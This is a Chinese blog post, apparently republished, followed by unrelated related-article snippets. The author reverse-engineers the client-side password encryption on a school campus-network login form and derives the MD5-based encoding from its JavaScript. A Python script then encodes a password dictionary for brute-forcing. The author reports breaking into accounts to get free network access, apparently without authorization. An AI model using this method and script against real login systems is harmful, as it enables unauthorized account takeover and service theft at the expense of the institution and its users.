某校园网登录界面前端加密绕过

前言

尝试对学校校园网登录框进行爆破,发现密码在前端被加密了

Burp抓包

抓包信息

DDDDD=2022***&upass=3d5c84b6fb1dc75987884f39c05b0e6a123456782&R1=0&R2=1&para=00&0MKKey=123456&v6ip=

From表单提交上来的文本这些参数,DDDD是用户名,upass是密码,后面的参数意义不明,看样子是MD5加密,尝试输入admin,然后拿到md5解密网站去解密一波看看

根本查不到,所以不是普通的MD5加密,遂开始Js逆向

Js逆向

点击登录按钮,查看堆栈信息,总共调用了两个JS文件

全局搜索Password,定位到这里,但显然这个password并不是用于加密的相关函数,但找了找其他关键字,也没有,索性在这里下一个断点,程序执行到这里时会卡住,

这时点击继续执行代码,点击返回之后,调用堆栈信息多出了一个JS文件a41.js

我们点击跟进,在a41.js中发现function ee()函数,此处下一个断点,这里下断点的原因程序执行完之后会把内存里的变量信息全部丢掉,所以我们要赶在程序没执行完之前去看看变量里面都有些啥,果不其然,定位到了我们输入的源数据,现在已经成功确定了加密算法函数在a41.js中

现在我们把这个a41.js下载下来分析

这段JavaScript代码包含了多个函数,主要用于处理登录逻辑、MD5加密、Base64编码,以及Cookie的设置、获取和删除。

  • ee(): 这个函数处理登录时的逻辑。它首先检查用户名和密码是否已输入,然后根据ps变量的值决定密码是否需要进行MD5加密或Base64编码,最后提交表单。同时,它处理与Cookie相关的逻辑,如保存登录信息。

但是在Js文件的最顶上发现ps是一个常量,所以说代码永远只会进入到else分支

这个分支就是加密的整个逻辑了,pid和cala均为常量,所以tmpchar就等于

2+用户输入+12345678,最终在将tmpchar的值md5加密,然后加上123456782

最后得出结论,

C=密文,M等于明文

C = MD5(2+M+12345678) + 12345678+2

构建Python脚本

知道加密算法之后,就可以批量加密密码来进行爆破了,虽然市面上有Burp的插件(https://github.com/c0ny1/jsEncrypter)

能直接调用JS来返回密文的,但是一点不想写JS文件,遂写了一个Python脚本用来批量加密字典

import hashlibdef md5(input_str):return hashlib.md5(input_str.encode()).hexdigest()def generate_payload(source_data):a = "2"b = "12345678"c = md5(a + source_data + b)payload = c + "123456782"return payloaddef read_data_from_file(file_path):with open(file_path, 'r') as file:return file.readlines()def save_encrypted_data_to_file(encrypted_data, file_path):with open(file_path, 'w') as file:for encrypted in encrypted_data:file.write(f"{encrypted}\n")def save_original_and_encrypted_data(data_pairs, file_path):with open(file_path, 'w') as file:for original, encrypted in data_pairs:file.write(f"{original.strip()} : {encrypted}\n")def process_data(input_file, encrypted_file, original_and_encrypted_file):data_pairs = []encrypted_data = []data_lines = read_data_from_file(input_file)for line in data_lines:encrypted = generate_payload(line.strip())data_pairs.append((line.strip(), encrypted))encrypted_data.append(encrypted)save_encrypted_data_to_file(encrypted_data, encrypted_file)save_original_and_encrypted_data(data_pairs, original_and_encrypted_file)# Example usage
input_file = 'dic.txt'
encrypted_file = 'encrypted_data.txt'
original_and_encrypted_file = 'original_and_encrypted_data.txt'
process_data(input_file, encrypted_file, original_and_encrypted_file)

最后运行效果:

至此Js的逆向就告一段落,把Python脚本加密过的payload,成功爆破出免费账户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/474700.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网络基础(3)https和加密

http其它的报头 直接看图片: 上图中的第一个和第二个类型之前已经使用过了也就不多做说明了,第三个报头类型使用的很少了。第四个报头类型主要就使用在一些灰度更新的应用上,确定用户使用的软件的版本不让其访问该版本不能访问的功能。下一个…

macOS 的目录结构

文章目录 根目录 (/)常见目录及其用途示例目录结构注意事项根目录 (/)主要目录及其含义其他目录总结 macOS 的目录结构无论是在 Intel 架构还是 ARM 架构的 Mac 电脑上都是相同的。macOS 的目录结构遵循 Unix 和 BSD 的传统,具有许多标准目录。以下是一些主要目录及…

【WPF】Prism学习(八)

Prism Dependency Injection 1.处理解析错误 1.1. 处理解析错误: 这个特性是在Prism 8中引入的,如果你的应用目标是早期版本,则不适用。 1.2. 异常发生的原因: 开发者可能会遇到多种原因导致的异常,常见的错误包括…

集群聊天服务器(11)客户端开发

目录 首页面功能开发添加好友和聊天帮助和添加好友聊天功能创建群组添加群组群组聊天退出 测试问题一对一聊天第一次发送两个离线消息只收到一个创建和加入群组 首页面功能开发 #include "json.hpp" #include <iostream> #include <thread> #include &l…

Pytest-Bdd-Playwright 系列教程(10):配置功能文件路径 优化场景定义

Pytest-Bdd-Playwright 系列教程&#xff08;10&#xff09;&#xff1a;配置功能文件路径 & 优化场景定义 前言一、功能文件路径的配置1.1 全局设置功能文件路径1.2. 在场景中覆盖路径 二、避免重复输入功能文件名2.1 使用方法2.2 functools.partial 的背景 三、应用场景总…

Cyberchef使用功能之-多种压缩/解压缩操作对比

cyberchef的compression操作大类中有大量的压缩和解压缩操作&#xff0c;每种操作的功能和区别是什么&#xff0c;本章将进行讲解&#xff0c;作为我的专栏《Cyberchef 从入门到精通教程》中的一篇&#xff0c;详见这里。 关于文件格式和压缩算法的理论部分在之前的文章《压缩…

Leetcode 回文数

下面是解决这个回文数问题的一个Java解法&#xff1a; 代码解释 特殊情况处理&#xff1a; 如果数字是负数&#xff0c;直接返回false&#xff0c;因为负数不可能是回文数。如果数字以0结尾&#xff0c;但不是0本身&#xff0c;也不可能是回文数&#xff08;例如10不是回文数…

笔记02----重新思考轻量化视觉Transformer中的局部感知CloFormer(即插即用)

1. 基本信息 论文标题: 《Rethinking Local Perception in Lightweight Vision Transformer》中文标题: 《重新思考轻量化视觉Transformer中的局部感知》作者单位: 清华大学发表时间: 2023论文地址: https://arxiv.org/abs/2303.17803代码地址: https://github.com/qhfan/CloF…

JVM垃圾回收详解(重点)

堆空间的基本结构 Java 的自动内存管理主要是针对对象内存的回收和对象内存的分配。同时&#xff0c;Java 自动内存管理最核心的功能是 堆 内存中对象的分配与回收 Java 堆是垃圾收集器管理的主要区域&#xff0c;因此也被称作 GC 堆&#xff08;Garbage Collected Heap&…

深入探索Python集合(Set)的高效应用:数据处理、性能优化与实际案例分析

文章目录 前言&#x1fa81;一、 定义集合1.1 使用大括号 {} 定义集合1.2 使用 set() 函数定义集合 &#x1fa81;二、添加元素2.1 使用 add() 方法2.2 使用 update() 方法 &#x1fa81;三、移除元素3.1 使用 remove() 方法3.2 使用 discard() 方法3.3 使用 pop() 方法3.4 使用…

STM32单片机CAN总线汽车线路通断检测-分享

目录 目录 前言 一、本设计主要实现哪些很“开门”功能&#xff1f; 二、电路设计原理图 1.电路图采用Altium Designer进行设计&#xff1a; 2.实物展示图片 三、程序源代码设计 四、获取资料内容 前言 随着汽车电子技术的不断发展&#xff0c;车辆通信接口在汽车电子控…

NIST 发布后量子密码学转型战略草案

美国国家标准与技术研究所 (NIST) 发布了其初步战略草案&#xff0c;即内部报告 (IR) 8547&#xff0c;标题为“向后量子密码标准过渡”。 该草案概述了 NIST 从当前易受量子计算攻击的加密算法迁移到抗量子替代算法的战略。该草案于 2024 年 11 月 12 日发布&#xff0c;开放…

Javaweb梳理17——HTMLCSS简介

Javaweb梳理17——HTML&CSS简介 17 HTML&CSS简介17.1 HTML介绍17.2 快速入门17.3 基础标签17.3 .1 标题标签17.3.2 hr标签17.3.3 字体标签17.3.4 换行17.3.8 案例17.3.9 图片、音频、视频标签17.3.10 超链接标签17.3.11 列表标签17.3.12 表格标签17.3.11 布局标签17.3.…

【支持向量机(SVM)】:算法原理及核函数

文章目录 1 SVM算法原理1.1 目标函数确定1.2 约束条件优化问题转换1.3 对偶问题转换1.4 确定超平面1.5 计算举例1.6 SVM原理小节 2 SVM核函数2.1 核函数的作用2.2 核函数分类2.3 高斯核函数2.3 高斯核函数API2.4 超参数 γ \gamma γ 1 SVM算法原理 1.1 目标函数确定 SVM思想…

mysql bin log分析

centos7 部署collabora office (yum版 与 docker)_collabora office部署-CSDN博客 1.下载polardb的bin log文件 show binary logs; mysqlbinlog -u 用户名 -p -h 地址 --read-from-remote-server --raw mysql-bin.001768 mysqlbinlog --no-defaults --databasexxx --base64-…

初识进程——Linux

目录 概述 进程控制块 指令知识补充 标识符函数 /proc 目录介绍 /proc/&#xff08;pid&#xff09; cwd exe&#xff1a; fork 结束语 概述 进程是程序执行的实体&#xff0c;两者之间有着密切联系。程序是静态的代码与指令集合&#xff0c;每次运行程序都会创建新的进程…

湘潭大学软件工程算法设计与分析考试复习笔记(三)

回顾 湘潭大学软件工程算法设计与分析考试复习笔记&#xff08;一&#xff09;湘潭大学软件工程算法设计与分析考试复习笔记&#xff08;二&#xff09; 前言 现在继续开始复习。每天复习一点点&#xff0c;嘿嘿。今天本来准备写一个动态规划的题的&#xff0c;感觉半懂不懂…

109. UE5 GAS RPG 实现检查点的存档功能

在这一篇文章里&#xff0c;我们接着实现存档的功能&#xff0c;保存当前玩家的生成位置&#xff0c;游戏里有很多中方式去实现玩家的位置存储&#xff0c;这里我们采用检查点的方式&#xff0c;当玩家接触到当前检查点后&#xff0c;我们可以通过检查点进行保存玩家的状态&…

如何创建一个项目用于研究element-plus的原理

需求&#xff1a;直接使用element-plus未封装成组件的源码&#xff0c;创建一个项目&#xff0c;可以使用任意的element-plus组件&#xff0c;可以深度研究组件的运行。例如研究某一个效果&#xff0c;如果直接在node_modules修改elment-plus打包之后的那些js、mjs代码&#xf…

机器学习day7-线性回归3、逻辑回归、聚类、SVC

7欠拟合与过拟合 1.欠拟合 模型在训练数据上表现不佳&#xff0c;在新的数据上也表现不佳&#xff0c;常发生在模型过于简单无法处理数据中的复杂模式时。 特征&#xff1a; 训练误差较高 测试误差也高 模型过于简化&#xff0c;不能充分学习训练数据中的模式 2.过拟合 …